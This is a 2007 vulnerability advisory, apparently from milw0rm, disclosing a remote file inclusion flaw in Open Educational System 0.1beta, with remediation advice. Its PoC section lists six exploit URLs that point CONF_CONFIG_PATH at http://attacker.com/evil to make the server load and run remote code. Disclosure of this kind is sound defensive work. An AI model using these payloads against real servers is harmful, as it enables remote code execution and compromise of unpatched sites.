109 lines
No EOL
3.9 KiB
Text
109 lines
No EOL
3.9 KiB
Text
____________________ ___ ___ ________
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\_ _____/\_ ___ \ / | \\_____ \
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| __)_ / \ \// ~ \/ | \
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| \\ \___\ Y / | \
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/_______ / \______ /\___|_ /\_______ /
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\/ \/ \/ \/
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.OR.ID
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ECHO_ADV_69$2007
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-----------------------------------------------------------------------------------------
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[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability
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-----------------------------------------------------------------------------------------
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Author : M.Hasran Addahroni
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Date : March, 12th 2007
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Location : Australia, Sydney
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Web : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
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Critical Lvl : Dangerous
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---------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : Open Educational System
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version : 0.1beta
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Vendor : http://openeducation.sourceforge.net
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Description :
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OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy design online e-learning platform.
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The system is integrate and suitable use for any high-school, college or university
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---------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~~~
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- Invalid include function at includes/lib-account.inc.php :
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----------------includes/lib-account.inc.php-------------------
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<?php
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// File : /include/lib-account.inc.php
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//
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// Description : This library is for administrator and normal user account mangement.
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// Include the configuration file.
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include_once ( $CONF_CONFIG_PATH.'/config.inc.php' );
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// Include the main include file for running all routine.
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include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' );
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// Include the ADOdb Class
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include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php');
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...
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----------------------------------------------------------------
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Variables $CONF_INCLUDE_PATH is not properly sanitized.
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When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
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also affected files :
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includes/lib-file.inc.php
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includes/lib-group.inc.php
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includes/lib-log.inc.php
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includes/lib-mydb.inc.php
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includes/lib-template-mod.inc.php
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includes/lib-themes.inc.php
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Poc/Exploit:
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~~~~~~~~~~
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http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
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http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
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http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
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http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
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http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
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http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
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Solution:
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~~~~~~~
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- Sanitize variable $CONF_INCLUDE_PATH on affected files.
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- Turn off register_globals
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---------------------------------------------------------------------------
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Shoutz:
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~~~~~
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~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
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~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
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~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
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~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
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~ newbie_hacker@yahoogroups.com
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~ #aikmel #e-c-h-o @irc.dal.net
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---------------------------------------------------------------------------
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Contact:
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~~~~~~
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K-159 || echo|staff || eufrato[at]gmail[dot]com
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Homepage: http://k-159.echo.or.id/
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-------------------------------- [ EOF ] ----------------------------------
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# milw0rm.com [2007-03-12] |